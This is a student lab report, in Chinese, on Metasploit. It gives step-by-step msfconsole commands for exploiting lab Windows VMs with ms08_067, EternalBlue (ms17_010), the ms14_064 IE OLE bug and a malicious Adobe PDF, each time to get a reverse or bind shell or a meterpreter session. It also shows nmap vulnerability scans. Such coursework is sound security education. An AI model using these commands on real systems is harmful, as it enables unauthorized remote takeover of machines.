2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用
目录
- 原理与实践说明
- 实践原理
- 实践内容概述
- 基础问题回答
- 攻击实例
- 主动攻击的实践
- ms08_067_netapi:自动化漏洞溢出攻击
- payload:generic/shell_bind_tcp(成功)
- ms17_010_eternalblue:“永恒之蓝”自动化攻击
- payload:windows/x64/shell/reverse_tcp_uuid(成功)
- windows/x64/vncinject/reverse_tcp_uuid(成功且唯一)
- ms08_067_netapi:自动化漏洞溢出攻击
- 攻击浏览器的实践
- ms14_064
- payload:windows/meterpreter/reverse_tcp(成功)
- payload:windows/meterpreter/reverse_https(失败)
- 攻击客户端的实践
- Adobe
- payload:windows/meterpreter/bind_tcp(成功)
- Adobe
- 成功应用任何一个辅助模块
- 在ms08_067中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口(在ms08_067_netapi:自动化漏洞溢出攻击中有体现)
- 主动攻击的实践
- 离实战还缺些什么技术或步骤
- 实验总结与体会
一.原理与实践说明
1.实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
-
一个主动攻击实践,如ms08-067; (1分)
-
一个针对浏览器的攻击,如ms11-050;(1分)
-
一个针对客户端的攻击,如Adobe;(1分)
-
成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
2.预备知识
一、MSF的六种模块
Exploit模块
- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
Payload模块
- 是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
Encoder模块
- 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
- 不改变payload作用,但能对payload进行加工
Aux模块
- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post模块
- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
Nops模块
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
二、MSF常用漏洞利用命令
search name:用指定关键字搜索可以利用的漏洞模块
use exploit name:使用漏洞
show options:显示配置选项
set option name option:设置选项
show payloads:回链攻击载荷
show targets 显示目标(os版本)
set TARGET target number:设置目标版本
exploit:开始漏洞攻击
sessions -l:列出会话
sessions -i id:选择会话
sessions -k id:结束会话
Ctrl+z:把会话放到后台
Ctrl+c:结束会话
show auxiliary:显示辅助模块
use auxiliary name :使用辅助模块
set option name option:设置选项
exploit:运行模块
3.基础问题
问:用自己的话解释什么是exploit,payload,encode。
exploit
测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。payload
攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能。encode
encode编码一是为了避免使攻击载荷不能完整运行的“坏字符”,二是为了改变特征码,帮助攻击载荷避免被杀软发现。
攻击实例
主动攻击的实践
ms08-067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
靶机:Microsoft Windows xp SP3
payload :generic/shell_reverse_tcp
测试靶机与攻击机之间能否ping通
攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.112
查看到靶机的版本号
查看到靶机存在此漏洞
msfconsole
打开控制台,遇到以下提示,原因是没有找到数据库文件
输入 service postgresql start
初始化MSF数据库(关键步骤!)msfdb init
search ms08-067
查看漏洞位置
use exploit/windows/smb/ms08_067_netapi
选择该漏洞
set RHOSTS 192.168.1.148
设置靶机IP
利用辅助模块查看端口是否开启(默认端口为445)
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞
show options //显示设置
set RHOSTS 192.168.1.148 //设置监听者地址
exploit //攻击
show targets
查看targets,修改靶机的类型 set target 1
(也可以不修改)
show payloads
查看可用payload
选择 set generic/shell_bind_tcp
set LHOST 192.168.1.147
设置监听者ip
set LPORT 5316
设置监听者端口号
show options
查看设置信息
exploit
进行攻击,攻击成功!
ms17_010_eternalblue
靶机:Microsoft Windows 7(10.1.1.137)
payload : windows/x64/shell/reverse_tcp_uuid
实验步骤
首先将虚拟机网络设置为桥接。
nmap --script=vuln 192.168.1.148 //查看靶机开放端口、是否存在ms17_010
search ms17_010//搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue//使用漏洞
show payloads//显示可用攻击载荷
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
set LHOST 192.168.1.147 //设置监听地址
set LPORT 5316 //设置端口号
set RHOSTS 192.168.1.148 //设置靶机地址
show options//查看配置信息
exploit//开始攻击
攻击成功
换个载荷 windows/x64/vncinject/reverse_tcp_uuid
攻击成功(获得了一张桌面图片,感觉像是一种辅助攻击)
攻击浏览器的实践
ms14_064
- 此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本。
靶机:WindowsXP+IE 8.0
exploit : windows/browser/ms14_064_ole_code_execution
payload : windows/meterpreter/reverse_tcp
实验步骤
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 192.168.1.147 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.1.147
set LPORT 5316
set target 0 //设置winXP靶机
exploit //发起攻击
将生成的URL地址在winXP的IE中打开,发现成功建立了一个会话
输入sessions查看会话相关信息
输入sessions -i 1即可选择第一个会话,调用shell权限成功
尝试使用payload:windows/meterpreter/reverse_https,结果失败了(它卡住了,应该是XP的设置有问题)
攻击客户端的实践
Adobe
靶机:Windows XP
payload : windows/meterpreter/bind_tcp
实验步骤
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5316 //设置端口号
set RHOST 192.168.1.148 //设置靶机IP地址
exploit #攻击
将生成的msf.pdf复制到Windows XP中
kail中输入back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.1.148 //设置靶机IP地址
set LPORT 5316 //设置端口号
exploit //攻击
在靶机中使用双击打开msf.pdf
攻击成功
三.离实战还缺些什么技术或步骤
本次实验操作起来比较简单,逻辑也很清晰,绝大多数的时间花费在了配置环境上。从windowsXP Professional sp2到windows XP SP3(English),从IE 6.0到IE 7.0/8.0,Adobe Reader11到9,着实感受到了配置环境的艰辛,也体会到了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。如果放在实践中,搜寻可以攻击的模块也是一个非常漫长的过程。
同时,我们的攻击是建立在前人的基础上,很多漏洞都是经过修复,不再适用,退一步来讲,即使我们知道了系统漏洞,怎样进行有效的攻击而不被发现又是一个巨大的难题。